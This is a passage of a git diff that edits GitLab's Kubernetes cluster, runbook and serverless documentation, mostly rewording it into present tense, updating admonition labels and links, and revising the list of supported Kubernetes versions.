+After the pipeline has finished, your app runs in EKS, and is available to users. Click on **CI/CD > Environments**.  -You will see a list of the environments and their deploy status, as well as +GitLab displays a list of the environments and their deploy status, as well as options to browse to the app, view monitoring metrics, and even access a shell on the running pod. diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md index 720f9bdf253..e3e6efc887f 100644 --- a/doc/user/project/clusters/add_gke_clusters.md +++ b/doc/user/project/clusters/add_gke_clusters.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Adding GKE clusters @@ -10,7 +10,7 @@ GitLab supports adding new and existing GKE clusters. ## GKE requirements -Before creating your first cluster on Google GKE with GitLab's integration, make sure the following +Before creating your first cluster on Google GKE with GitLab integration, make sure the following requirements are met: - A [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account) @@ -33,7 +33,7 @@ Note the following: created by GitLab are RBAC-enabled. Take a look at the [RBAC section](add_remove_clusters.md#rbac-cluster-resources) for more information. - Starting from [GitLab 12.5](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18341), the - cluster's pod address IP range will be set to /16 instead of the regular /14. /16 is a CIDR + cluster's pod address IP range is set to `/16` instead of the regular `/14`. `/16` is a CIDR notation. - GitLab requires basic authentication enabled and a client certificate issued for the cluster to set up an [initial service account](add_remove_clusters.md#access-controls). In [GitLab versions @@ -57,20 +57,20 @@ To create and add a new Kubernetes cluster to your project, group, or instance: - **Kubernetes cluster name** - The name you wish to give the cluster. - **Environment scope** - The [associated environment](index.md#setting-the-environment-scope) to this cluster. - **Google Cloud Platform project** - Choose the project you created in your GCP - console that will host the Kubernetes cluster. Learn more about + console to host the Kubernetes cluster. Learn more about [Google Cloud Platform projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects). - **Zone** - Choose the [region zone](https://cloud.google.com/compute/docs/regions-zones/) - under which the cluster will be created. + under which to create the cluster. - **Number of nodes** - Enter the number of nodes you wish the cluster to have. - **Machine type** - The [machine type](https://cloud.google.com/compute/docs/machine-types) - of the Virtual Machine instance that the cluster will be based on. + of the Virtual Machine instance to base the cluster on. - **Enable Cloud Run for Anthos** - Check this if you want to use Cloud Run for Anthos for this cluster. See the [Cloud Run for Anthos section](#cloud-run-for-anthos) for more information. - **GitLab-managed cluster** - Leave this checked if you want GitLab to manage namespaces and service accounts for this cluster. See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information. 1. Finally, click the **Create Kubernetes cluster** button. -After a couple of minutes, your cluster will be ready to go. You can now proceed +After a couple of minutes, your cluster is ready. You can now proceed to install some [pre-defined applications](index.md#installing-applications). ### Cloud Run for Anthos @@ -79,7 +79,7 @@ to install some [pre-defined applications](index.md#installing-applications). You can choose to use Cloud Run for Anthos in place of installing Knative and Istio separately after the cluster has been created. This means that Cloud Run -(Knative), Istio, and HTTP Load Balancing will be enabled on the cluster at +(Knative), Istio, and HTTP Load Balancing are enabled on the cluster at create time and cannot be [installed or uninstalled](../../clusters/applications.md) separately. ## Existing GKE cluster diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md index c96e38b1dfc..8ee9b1f37dd 100644 --- a/doc/user/project/clusters/add_remove_clusters.md +++ b/doc/user/project/clusters/add_remove_clusters.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Adding and removing Kubernetes clusters @@ -13,16 +13,16 @@ GitLab offers integrated cluster creation for the following Kubernetes providers GitLab can also integrate with any standard Kubernetes provider, either on-premise or hosted. -NOTE: **Note:** +NOTE: Watch the webcast [Scalable app deployment with GitLab and Google Cloud Platform](https://about.gitlab.com/webcast/scalable-app-deploy/) and learn how to spin up a Kubernetes cluster managed by Google Cloud Platform (GCP) in a few clicks. -TIP: **Tip:** +NOTE: Every new Google Cloud Platform (GCP) account receives [$300 in credit upon sign up](https://console.cloud.google.com/freetrial). In partnership with Google, GitLab is able to offer an additional $200 for new GCP -accounts to get started with GitLab's Google Kubernetes Engine Integration. +accounts to get started with the GitLab integration with Google Kubernetes Engine. [Follow this link](https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form) to apply for credit. @@ -260,7 +260,7 @@ To add a Kubernetes cluster to your project, group, or instance: kubectl apply -f gitlab-admin-service-account.yaml --username=admin --password=<password> ``` - NOTE: **Note:** + NOTE: Basic Authentication can be turned on and the password credentials can be obtained using the Google Cloud Console. @@ -295,7 +295,7 @@ To add a Kubernetes cluster to your project, group, or instance: token: <authentication_token> ``` - NOTE: **Note:** + NOTE: For GKE clusters, you need the `container.clusterRoleBindings.create` permission to create a cluster role binding. You can follow the [Google Cloud @@ -330,7 +330,7 @@ integration to work properly.  -CAUTION: **Caution:** +WARNING: Disabling RBAC means that any application running in the cluster, or user who can authenticate to the cluster, has full API access. This is a [security concern](index.md#security-implications), and may not be desirable. diff --git a/doc/user/project/clusters/eks_and_gitlab/index.md b/doc/user/project/clusters/eks_and_gitlab/index.md index 895b51ea9bb..e38fbb871c1 100644 --- a/doc/user/project/clusters/eks_and_gitlab/index.md +++ b/doc/user/project/clusters/eks_and_gitlab/index.md @@ -3,3 +3,6 @@ redirect_to: '../add_eks_clusters.md#existing-eks-cluster' --- This document was moved to [another location](../add_eks_clusters.md#existing-eks-cluster). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md index 9273fb7b361..80db1c960db 100644 --- a/doc/user/project/clusters/index.md +++ b/doc/user/project/clusters/index.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Kubernetes clusters @@ -20,7 +20,7 @@ Using the GitLab project Kubernetes integration, you can: - Detect and [monitor Kubernetes](#monitoring-your-kubernetes-cluster). - Use it with [Auto DevOps](#auto-devops). - Use [Web terminals](#web-terminals). -- Use [Deploy Boards](#deploy-boards). **(PREMIUM)** +- Use [Deploy Boards](#deploy-boards). - Use [Canary Deployments](#canary-deployments). **(PREMIUM)** - Use [deployment variables](#deployment-variables). - Use [role-based or attribute-based access controls](add_remove_clusters.md#access-controls). @@ -45,18 +45,18 @@ versions at any given time. We regularly review the versions we support, and provide a three-month deprecation period before we remove support of a specific version. The range of supported versions is based on the evaluation of: -- Our own needs. - The versions supported by major managed Kubernetes providers. - The versions [supported by the Kubernetes community](https://kubernetes.io/docs/setup/release/version-skew-policy/#supported-versions). GitLab supports the following Kubernetes versions, and you can upgrade your Kubernetes version to any supported version at any time: -- 1.17 -- 1.16 -- 1.15 +- 1.19 (support ends on February 22, 2022) +- 1.18 (support ends on November 22, 2021) +- 1.17 (support ends on September 22, 2021) +- 1.16 (support ends on July 22, 2021) +- 1.15 (support ends on May 22, 2021) - 1.14 (deprecated, support ends on December 22, 2020) -- 1.13 (deprecated, support ends on November 22, 2020) Some GitLab features may support versions outside the range provided here. @@ -66,7 +66,7 @@ See [Adding and removing Kubernetes clusters](add_remove_clusters.md) for detail to: - Create a cluster in Google Cloud Platform (GCP) or Amazon Elastic Kubernetes Service - (EKS) using GitLab's UI. + (EKS) using the GitLab UI. - Add an integration to an existing cluster from any Kubernetes platform. ### Multiple Kubernetes clusters @@ -79,8 +79,8 @@ project. That way you can have different clusters for different environments, like dev, staging, production, and so on. Simply add another cluster, like you did the first time, and make sure to -[set an environment scope](#setting-the-environment-scope) that will -differentiate the new cluster with the rest. +[set an environment scope](#setting-the-environment-scope) that +differentiates the new cluster from the rest. #### Setting the environment scope @@ -89,9 +89,9 @@ them with an environment scope. The environment scope associates clusters with [ [environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) work. The default environment scope is `*`, which means all jobs, regardless of their -environment, will use that cluster. Each scope can only be used by a single -cluster in a project, and a validation error will occur if otherwise. -Also, jobs that don't have an environment keyword set will not be able to access any cluster. +environment, use that cluster. Each scope can be used only by a single cluster +in a project, and a validation error occurs if otherwise. Also, jobs that don't +have an environment keyword set can't access any cluster. For example, let's say the following Kubernetes clusters exist in a project: @@ -127,13 +127,13 @@ deploy to production: url: https://example.com/ ``` -The result will then be: +The results: -- The Development cluster details will be available in the `deploy to staging` +- The Development cluster details are available in the `deploy to staging` job. -- The production cluster details will be available in the `deploy to production` +- The production cluster details are available in the `deploy to production` job. -- No cluster details will be available in the `test` job because it doesn't +- No cluster details are available in the `test` job because it doesn't define any environment. ## Configuring your Kubernetes cluster @@ -143,7 +143,7 @@ important considerations for configuring Kubernetes clusters with GitLab. ### Security implications -CAUTION: **Important:** +WARNING: The whole cluster security is based on a model where [developers](../../permissions.md) are trusted, so **only trusted users should be allowed to control your clusters**. @@ -157,15 +157,15 @@ applications running on the cluster. > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 11.5. > - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11. -You can choose to allow GitLab to manage your cluster for you. If your cluster is -managed by GitLab, resources for your projects will be automatically created. See the -[Access controls](add_remove_clusters.md#access-controls) section for details on which resources will -be created. +You can choose to allow GitLab to manage your cluster for you. If your cluster +is managed by GitLab, resources for your projects are automatically created. See +the [Access controls](add_remove_clusters.md#access-controls) section for +details about the created resources. -If you choose to manage your own cluster, project-specific resources will not be created -automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you will -need to explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables) -that will be used by your deployment jobs, otherwise a namespace will be created for you. +If you choose to manage your own cluster, project-specific resources aren't created +automatically. If you are using [Auto DevOps](../../../topics/autodevops/index.md), you must +explicitly provide the `KUBE_NAMESPACE` [deployment variable](#deployment-variables) +for your deployment jobs to use; otherwise a namespace is created for you. #### Important notes @@ -198,10 +198,10 @@ To clear the cache: > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24580) in GitLab 11.8. You do not need to specify a base domain on cluster settings when using GitLab Serverless. The domain in that case -will be specified as part of the Knative installation. See [Installing Applications](#installing-applications). +is specified as part of the Knative installation. See [Installing Applications](#installing-applications). -Specifying a base domain will automatically set `KUBE_INGRESS_BASE_DOMAIN` as an environment variable. -If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain will be used for the different +Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an environment variable. +If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different stages. For example, Auto Review Apps and Auto Deploy. The domain should have a wildcard DNS configured to the Ingress IP address. After Ingress has been installed (see [Installing Applications](#installing-applications)), @@ -224,7 +224,7 @@ Auto DevOps automatically detects, builds, tests, deploys, and monitors your applications. To make full use of Auto DevOps (Auto Deploy, Auto Review Apps, and -Auto Monitoring) you will need the Kubernetes project integration enabled, but +Auto Monitoring) the Kubernetes project integration must be enabled, but Kubernetes clusters can be used without Auto DevOps. [Read more about Auto DevOps](../../../topics/autodevops/index.md) @@ -237,8 +237,8 @@ A Kubernetes cluster can be the destination for a deployment job. If [deployment variables](#deployment-variables) are made available to your job and configuration is not required. You can immediately begin interacting with the cluster from your jobs using tools such as `kubectl` or `helm`. -- You don't use GitLab's cluster integration you can still deploy to your - cluster. However, you will need configure Kubernetes tools yourself +- You don't use the GitLab cluster integration, you can still deploy to your + cluster. However, you must configure Kubernetes tools yourself using [environment variables](../../../ci/variables/README.md#custom-environment-variables) before you can interact with the cluster from your jobs. @@ -257,14 +257,14 @@ The Kubernetes cluster integration exposes the following GitLab CI/CD build environment to deployment jobs, which are jobs that have [defined a target environment](../../../ci/environments/index.md#defining-environments). -| Variable | Description | -| -------- | ----------- | -| `KUBE_URL` | Equal to the API URL. | -| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](add_remove_clusters.md#access-controls). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. | -| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. | -| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. | -| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. | -| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely will only need this variable. This variable name is also automatically picked up by `kubectl` so you won't actually need to reference it explicitly if using `kubectl`. | +| Variable | Description | +|----------------------------|-------------| +| `KUBE_URL` | Equal to the API URL. | +| `KUBE_TOKEN` | The Kubernetes token of the [environment service account](add_remove_clusters.md#access-controls). Prior to GitLab 11.5, `KUBE_TOKEN` was the Kubernetes token of the main service account of the cluster integration. | +| `KUBE_NAMESPACE` | The namespace associated with the project's deployment service account. In the format `<project_name>-<project_id>-<environment>`. For GitLab-managed clusters, a matching namespace is automatically created by GitLab in the cluster. If your cluster was created before GitLab 12.2, the default `KUBE_NAMESPACE` is set to `<project_name>-<project_id>`. | +| `KUBE_CA_PEM_FILE` | Path to a file containing PEM data. Only present if a custom CA bundle was specified. | +| `KUBE_CA_PEM` | (**deprecated**) Raw PEM data. Only if a custom CA bundle was specified. | +| `KUBECONFIG` | Path to a file containing `kubeconfig` for this deployment. CA bundle would be embedded if specified. This configuration also embeds the same token defined in `KUBE_TOKEN` so you likely need only this variable. This variable name is also automatically picked up by `kubectl` so you don't need to reference it explicitly if using `kubectl`. | | `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, this variable can be used to set a domain per cluster. See [cluster domains](#base-domain) for more information. | ### Custom namespace @@ -294,7 +294,7 @@ You can customize the deployment namespace in a few ways: When you customize the namespace, existing environments remain linked to their current namespaces until you [clear the cluster cache](#clearing-the-cluster-cache). -CAUTION: **Warning:** +WARNING: By default, anyone who can create a deployment job can access any CI variable within an environment's deployment job. This includes `KUBECONFIG`, which gives access to any secret available to the associated service account in your cluster. @@ -316,9 +316,9 @@ the need to leave GitLab. [Read more about Canary Deployments](../canary_deployments.md) -#### Deploy Boards **(PREMIUM)** +#### Deploy Boards -GitLab's Deploy Boards offer a consolidated view of the current health and +GitLab Deploy Boards offer a consolidated view of the current health and status of each CI [environment](../../../ci/environments/index.md) running on Kubernetes, displaying the status of the pods in the deployment. Developers and other teammates can view the progress and status of a rollout, pod by pod, in the @@ -362,7 +362,7 @@ the deployment job: - A namespace. - A service account. -However, sometimes GitLab can not create them. In such instances, your job will fail with the message: +However, sometimes GitLab can not create them. In such instances, your job can fail with the message: ```plaintext This job failed because the necessary resources were not successfully created. @@ -376,9 +376,9 @@ Reasons for failure include: privileges required by GitLab. - Missing `KUBECONFIG` or `KUBE_TOKEN` variables. To be passed to your job, they must have a matching [`environment:name`](../../../ci/environments/index.md#defining-environments). If your job has no - `environment:name` set, it will not be passed the Kubernetes credentials. + `environment:name` set, the Kubernetes credentials are not passed to it. -NOTE: **Note:** +NOTE: Project-level clusters upgraded from GitLab 12.0 or older may be configured in a way that causes this error. Ensure you deselect the [GitLab-managed cluster](#gitlab-managed-clusters) option if you want to manage @@ -396,6 +396,6 @@ Automatically detect and monitor Kubernetes metrics. Automatic monitoring of > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4701) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/208224) to GitLab Core in 13.2. -When [Prometheus is deployed](#installing-applications), GitLab will automatically monitor the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start. +When [Prometheus is deployed](#installing-applications), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start.  diff --git a/doc/user/project/clusters/kubernetes_pod_logs.md b/doc/user/project/clusters/kubernetes_pod_logs.md index 2e224208eb8..2523dc3e0a2 100644 --- a/doc/user/project/clusters/kubernetes_pod_logs.md +++ b/doc/user/project/clusters/kubernetes_pod_logs.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Kubernetes Logs diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md index c1e4e821efd..332c1f35d89 100644 --- a/doc/user/project/clusters/runbooks/index.md +++ b/doc/user/project/clusters/runbooks/index.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Runbooks @@ -25,7 +25,7 @@ pre-written code blocks or database queries against a given environment. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45912) in GitLab 11.4. -The JupyterHub app offered via GitLab’s Kubernetes integration now ships +The JupyterHub app offered via the GitLab Kubernetes integration now ships with Nurtch’s Rubix library, providing a simple way to create DevOps runbooks. A sample runbook is provided, showcasing common operations. While Rubix makes it simple to create common Kubernetes and AWS workflows, you can @@ -37,11 +37,11 @@ for an overview of how this is accomplished in GitLab! ## Requirements -To create an executable runbook, you will need: +To create an executable runbook, you need: - **Kubernetes** - A Kubernetes cluster is required to deploy the rest of the applications. The simplest way to get started is to add a cluster using one - of [GitLab's integrations](../add_remove_clusters.md#create-new-cluster). + of the [GitLab integrations](../add_remove_clusters.md#create-new-cluster). - **Ingress** - Ingress can provide load balancing, SSL termination, and name-based virtual hosting. It acts as a web proxy for your applications. - **JupyterHub** - [JupyterHub](https://jupyterhub.readthedocs.io/) is a multi-user @@ -71,7 +71,7 @@ the components outlined above and the pre-loaded demo runbook.  1. After Ingress has been installed successfully, click the **Install** button next - to the **JupyterHub** application. You will need the **Jupyter Hostname** provided + to the **JupyterHub** application. You need the **Jupyter Hostname** provided here in the next step.  @@ -84,8 +84,8 @@ the components outlined above and the pre-loaded demo runbook.  -1. Click **Authorize**, and you will be redirected to the JupyterHub application. -1. Click **Start My Server**, and the server will start in a few seconds. +1. Click **Authorize**, and GitLab redirects you to the JupyterHub application. +1. Click **Start My Server** to start the server in a few seconds. 1. To configure the runbook's access to your GitLab project, you must enter your [GitLab Access Token](../../../profile/personal_access_tokens.md) and your Project ID in the **Setup** section of the demo runbook: diff --git a/doc/user/project/clusters/securing.md b/doc/user/project/clusters/securing.md index 2d74f67ba35..fa80bd6423b 100644 --- a/doc/user/project/clusters/securing.md +++ b/doc/user/project/clusters/securing.md @@ -1,7 +1,7 @@ --- stage: Protect group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Securing your deployed applications @@ -40,7 +40,7 @@ Minimum requirements (depending on the GitLab Manage Application you want to ins ### Understanding how GitLab Managed Apps are installed -NOTE: **Note:** +NOTE: These diagrams use the term _Kubernetes_ for simplicity. In practice, Sidekiq connects to a Helm command runner pod in the cluster. diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md index 0de0fd38336..a52d3400aa2 100644 --- a/doc/user/project/clusters/serverless/aws.md +++ b/doc/user/project/clusters/serverless/aws.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Deploying AWS Lambda function using GitLab CI/CD @@ -29,7 +29,7 @@ Alternatively, you can quickly [create a new project with a template](../../../. ### Example -In the following example, you will: +This example shows you how to: 1. Create a basic AWS Lambda Node.js function. 1. Link the function to an API Gateway `GET` endpoint. @@ -49,7 +49,7 @@ Lets take it step by step. #### Creating a Lambda handler function -Your Lambda function will be the primary handler of requests. In this case we will create a very simple Node.js `hello` function: +Your Lambda function is the primary handler of requests. In this case, create a very simple Node.js `hello` function: ```javascript 'use strict'; @@ -72,13 +72,13 @@ Place this code in the file `src/handler.js`. `src` is the standard location for serverless functions, but is customizable should you desire that. -In our case, `module.exports.hello` defines the `hello` handler that will be referenced later in the `serverless.yml` +In our case, `module.exports.hello` defines the `hello` handler to reference later in the `serverless.yml`. You can learn more about the AWS Lambda Node.js function handler and all its various options here: <https://docs.aws.amazon.com/lambda/latest/dg/nodejs-prog-model-handler.html> #### Creating a `serverless.yml` file -In the root of your project, create a `serverless.yml` file that will contain configuration specifics for the Serverless Framework. +In the root of your project, create a `serverless.yml` file containing configuration specifics for the Serverless Framework. Put the following code in the file: @@ -97,9 +97,9 @@ functions: Our function contains a handler and a event. -The handler definition will provision the Lambda function using the source code located `src/handler.hello`. +The handler definition provisions the Lambda function using the source code located `src/handler.hello`. -The `events` declaration will create a AWS API Gateway `GET` endpoint to receive external requests and hand them over to the Lambda function via a service integration. +The `events` declaration creates an AWS API Gateway `GET` endpoint to receive external requests and hand them over to the Lambda function via a service integration. You can read more about the [available properties and additional configuration possibilities](https://www.serverless.com/framework/docs/providers/aws/guide/serverless.yml/) of the Serverless Framework. @@ -141,10 +141,10 @@ For more information please see [Create a custom variable in the UI](../../../.. #### Deploying your function -`git push` the changes to your GitLab repository and the GitLab build pipeline will automatically deploy your function. +`git push` the changes to your GitLab repository and the GitLab build pipeline deploys your function. -In your GitLab deploy stage log, there will be output containing your AWS Lambda endpoint URL. -The log line will look similar to this: +Your GitLab deploy stage log contains output containing your AWS Lambda endpoint URL, +with log lines similar to this: ```plaintext endpoints: @@ -157,7 +157,7 @@ Running the following `curl` command should trigger your function. Your URL should be the one retrieved from the GitLab deploy stage log: ```shell -curl https://u768nzby1j.execute-api.us-east-1.amazonaws.com/production/hello +curl "https://u768nzby1j.execute-api.us-east-1.amazonaws.com/production/hello" ``` That should output: @@ -200,7 +200,7 @@ The `serverless-offline` plugin allows to run your code locally. To run your cod Running the following `curl` command should trigger your function. ```shell -curl http://localhost:3000/hello +curl "http://localhost:3000/hello" ``` It should output: @@ -227,9 +227,9 @@ provider: ``` From there, you can reference them in your functions as well. -Remember to add `A_VARIABLE` to your GitLab CI/CD variables under **Settings > CI/CD > Variables**, and it will get picked up and deployed with your function. +Remember to add `A_VARIABLE` to your GitLab CI/CD variables under **Settings > CI/CD > Variables** to be picked up and deployed with your function. -NOTE: **Note:** +NOTE: Anyone with access to the AWS environment may be able to see the values of those variables persisted in the lambda definition. @@ -309,7 +309,7 @@ GitLab allows developers to build and deploy serverless applications using the c ### Example -In the following example, you will: +This example shows you how to: - Install SAM CLI. - Create a sample SAM application including a Lambda function and API Gateway. @@ -414,8 +414,8 @@ Let’s examine the configuration file more closely: ### Deploying your application -Push changes to your GitLab repository and the GitLab build pipeline will automatically -deploy your application. If your: +Push changes to your GitLab repository and the GitLab build pipeline +deploys your application. If your: - Build and deploy are successful, [test your deployed application](#testing-the-deployed-application). - Build fails, look at the build log to see why the build failed. Some common reasons @@ -444,7 +444,7 @@ To test the application you deployed, please go to the build log and follow the 1. Use curl to test the API. For example: ```shell - curl https://py4rg7qtlg.execute-api.us-east-1.amazonaws.com/Prod/hello/ + curl "https://py4rg7qtlg.execute-api.us-east-1.amazonaws.com/Prod/hello/" ``` Output should be: @@ -496,7 +496,7 @@ listening on `localhost:3000`. Call the `hello` API by running: ```shell -curl http://127.0.0.1:3000/hello +curl "http://127.0.0.1:3000/hello" ``` Output again should be: diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md index 603c4bd73b1..fcbf85121b2 100644 --- a/doc/user/project/clusters/serverless/index.md +++ b/doc/user/project/clusters/serverless/index.md @@ -1,15 +1,15 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Serverless > Introduced in GitLab 11.5. -CAUTION: **Caution:** -Serverless is currently in [alpha](https://about.gitlab.com/handbook/product/#alpha). +WARNING: +Serverless is currently in [alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha). ## Overview @@ -39,9 +39,9 @@ With GitLab Serverless, you can deploy both functions-as-a-service (FaaS) and se ## Prerequisites -To run Knative on GitLab, you will need: +To run Knative on GitLab, you need: -1. **Existing GitLab project:** You will need a GitLab project to associate all resources. The simplest way to get started: +1. **Existing GitLab project:** You need a GitLab project to associate all resources. The simplest way to get started: - If you are planning on [deploying functions](#deploying-functions), clone the [functions example project](https://gitlab.com/knative-examples/functions) to get started. @@ -49,21 +49,21 @@ To run Knative on GitLab, you will need: clone the sample [Knative Ruby App](https://gitlab.com/knative-examples/knative-ruby-app) to get started. 1. **Kubernetes Cluster:** An RBAC-enabled Kubernetes cluster is required to deploy Knative. - The simplest way to get started is to add a cluster using GitLab's [GKE integration](../add_remove_clusters.md). + The simplest way to get started is to add a cluster using the GitLab [GKE integration](../add_remove_clusters.md). The set of minimum recommended cluster specifications to run Knative is 3 nodes, 6 vCPUs, and 22.50 GB memory. -1. **GitLab Runner:** A runner is required to run the CI jobs that will deploy serverless +1. **GitLab Runner:** A runner is required to run the CI jobs that deploy serverless applications or functions onto your cluster. You can install GitLab Runner onto the existing Kubernetes cluster. See [Installing Applications](../index.md#installing-applications) for more information. -1. **Domain Name:** Knative will provide its own load balancer using Istio. It will provide an - external IP address or hostname for all the applications served by Knative. You will be prompted to enter a - wildcard domain where your applications will be served. Configure your DNS server to use the +1. **Domain Name:** Knative provides its own load balancer using Istio, and an + external IP address or hostname for all the applications served by Knative. Enter a + wildcard domain to serve your applications. Configure your DNS server to use the external IP address or hostname for that domain. 1. **`.gitlab-ci.yml`:** GitLab uses [Kaniko](https://github.com/GoogleContainerTools/kaniko) to build the application. We also use [GitLab Knative tool](https://gitlab.com/gitlab-org/gitlabktl) CLI to simplify the deployment of services and functions to Knative. 1. **`serverless.yml`** (for [functions only](#deploying-functions)): When using serverless to deploy functions, the `serverless.yml` file - will contain the information for all the functions being hosted in the repository as well as a reference to the - runtime being used. + contains the information for all the functions being hosted in the repository as well as a reference + to the runtime being used. 1. **`Dockerfile`** (for [applications only](#deploying-serverless-applications)): Knative requires a `Dockerfile` in order to build your applications. It should be included at the root of your project's repository and expose port `8080`. `Dockerfile` is not require if you plan to build serverless functions @@ -73,7 +73,7 @@ To run Knative on GitLab, you will need: 1. **Logging** (optional): Configuring logging allows you to view and search request logs for your serverless function/application. See [Configuring logging](#configuring-logging) for more information. -## Installing Knative via GitLab's Kubernetes integration +## Installing Knative via the GitLab Kubernetes integration The minimum recommended cluster size to run Knative is 3-nodes, 6 vCPUs, and 22.50 GB memory. **RBAC must be enabled.** @@ -87,12 +87,12 @@ memory. **RBAC must be enabled.** 1. After the Knative installation has finished, you can wait for the IP address or hostname to be displayed in the **Knative Endpoint** field or [retrieve the Istio Ingress Endpoint manually](../../../clusters/applications.md#determining-the-external-endpoint-manually). - NOTE: **Note:** + NOTE: Running `kubectl` commands on your cluster requires setting up access to the cluster first. For clusters created on GKE, see [GKE Cluster Access](https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl), for other platforms [Install kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl/). -1. The Ingress is now available at this address and will route incoming requests to the proper service based on the DNS +1. The Ingress is now available at this address and routes incoming requests to the proper service based on the DNS name in the request. To support this, a wildcard DNS record should be created for the desired domain name. For example, if your Knative base domain is `knative.info` then you need to create an A record or CNAME record with domain `*.knative.info` pointing the IP address or hostname of the Ingress. @@ -107,7 +107,7 @@ on a given project, but not both. The current implementation makes use of a > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/58941) in GitLab 12.0. -The _invocations_ monitoring feature of GitLab serverless won't work when +The _invocations_ monitoring feature of GitLab serverless is unavailable when adding an existing installation of Knative. It's also possible to use GitLab Serverless with an existing Kubernetes cluster @@ -121,9 +121,9 @@ which already has Knative installed. You must do the following: - For a non-GitLab managed cluster, ensure that the service account for the token provided can manage resources in the `serving.knative.dev` API group. - For a GitLab managed cluster, if you added the cluster in [GitLab 12.1 or later](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30235), - then GitLab will already have the required access and you can proceed to the next step. + then GitLab already has the required 